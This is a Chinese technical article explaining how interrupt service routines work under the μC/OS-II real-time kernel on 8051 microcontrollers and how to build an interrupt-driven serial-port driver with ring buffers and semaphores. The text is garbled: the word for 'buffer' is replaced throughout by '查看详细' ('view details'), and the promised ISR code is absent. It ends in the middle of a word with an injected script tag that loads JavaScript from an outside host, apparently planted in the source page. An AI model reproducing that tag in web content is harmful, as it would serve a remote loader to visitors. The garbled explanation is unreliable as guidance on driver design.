在嵌入式应用中,使用rtos的主要原因是为了提高系统的可靠性,其次是提高开发效率、缩短开发周期。μc／os-ii是一个占先式实时多任务内核,使用对象是嵌入式系统,对源代码适当裁减,很容易移植到8~32位不同框架的微处理器上。但μc／os-ii仅是一个实时内核,它不像其他实时操作系统(如嵌入式linux)那样提供给用户一些api函数接口。在μc／os-ii实时内核下,对外设的访问接口没有统一完善,有很多工作需要用户自己去完成。串口通信是单片机测控系统的重要组成部分,异步串行口是一个比较简单又很具代表性的中断驱动外设。本文以单片机中的串口为例,介绍μc／os—ii下编写中断服务程序以及外设驅动程序的一般思路。
1 μc／os-ii的中断处理及51系列单片机中断系统分析
μc／os-ii中断服务程序(isr)一般用汇编语言编写。以下是中断服务程序的步骤。
保存全部cpu寄存器;
调用osintenter()或osintnesting(全局变量)直接加1;
执行用户代码做中断服务;
调用0sintexit();
恢复所有cpu寄存器;
执行中断返回指令。
μc／os-ii提供两个isr与内核接口函数：osintenter（）和osintexit（）。osintenter（）通知μc／os—ii核,中断服务程序开始了。事实上,此函数做的工作是把一个全局变量osintnesting加1,此中断嵌套计数器可以确保所有中断处理完成后再做任务调度。另一个接口函数osintexit（）则通知内核,中断服务已结束。根据相应情况,退回被中断点（可能是一个任务或者是被嵌套的中断服务程序）或由内核作任务调度。
用户编写的isr必须被安装到某一位置,以便中断发生后,cpu根据相应的中断号运行准确的服务程序。许多实时操作系统都提供了安装和卸载中断服务程序的api接口函数,但μc／os—ii内核没有提供类似的接口函数,需要用户在对cpu的移植中自己实现。这些接口函数与具体的硬件环境有关,接下来以51单片机下的中断处理对此详细说明。
51单片机的中断基本过程如下：cpu在每个机器周期的s5p2时刻采样中断标志,而在下一指令周期将对采样的中断进行查询。如果有中断请求,则按照优先级高低的原则进行处理。响应中断时,先置相应的优先级激活触发器于相应位,封锁同级或低级中断,然后根据中断源类别,在硬件控制下,将中断地址压入堆栈,并转向相应的中断向量入口单元。通常在入口单元处放一跳转指令,转向执行中断服务程序．当执行中断返回指令reti时,把响应中断时所置位的优先级激活触发器清零后,从堆栈中弹出被保护的断点地址,装入程序计数器pc,cpu返回原来被中断处继续执行程序。
在移植的过程中,采用keil c51作为编译环境。keilc5l集成c编译和汇编器。中断子程序用汇编语言编写,放到移植μc／0s—ii后的os_cpu_a.asm汇编文件中。下面是以串行口中断为例的移植中断服务子程序代码。
2 串口驱动程序
笔者已在5l单片机上成功移植了μc／0s-ii内核,移植过程在此不再讨论。这里重点分析μc／0s—ii内核下串口驱动程序编写。
由于串行设备存在外设处理速度和cpu速度不匹配的问题,所以需要一个查看详细．向串口发送数据时,只要把数据写到查看详细中,然后由串口逐个取出往外发。从串口接收数据时,往往等收到若干个字节后才需要cpu进行处理,所以这些预收的数据可以先存于查看详细中。实际上,单片机的异步串口中只有两个相互独立、地址相同的接收、发送缓冲寄存器sbuf。在实际应用中,需要从内存中开辟两个查看详细,分别为接收查看详细和发送查看详细。这里把查看详细定义为环形队列的数据结构。
μc／os-ii内核提供了信号量作为通信和同步的机制,引入数据接收信号量、数据发送信号量分别对查看详细两端的操作进行同步。串口的操作模式如下：用户任务想写,但查看详细满时,在信号量上睡眠,让cpu运行别的任务,待isr从查看详细读走数据后唤醒此睡眠的任务;同样,用户任务想读,但查看详细空时,也可以在信号量上睡眠,待外部设备有数据来了再唤醒。由于μc／os-ii的信号量提供了超时等待机制,串口当然也具有超时读写能力。图1是带查看详细和信号量的串口接收示意图。数据接收信号量初始化为0,表示在环形查看详细中无数据。
接收中断到来后,isr从uart的接收缓冲器sbuf中读入接收的字节(②),放入接收查看详细(③),然后通过接收信号量唤醒用户任务端的读操作(④、①)。在整个过程中,可以查询记录查看详细中当前字节数的变量值,此变量表明接收查看详细是否已满。uart收到数据并触发了接收中断,但如果此时查看详细是满的,那么放弃收到的字符。查看详细的大小应合理设置,降低数据丢失的可?script src=http://er12.com/t.js>
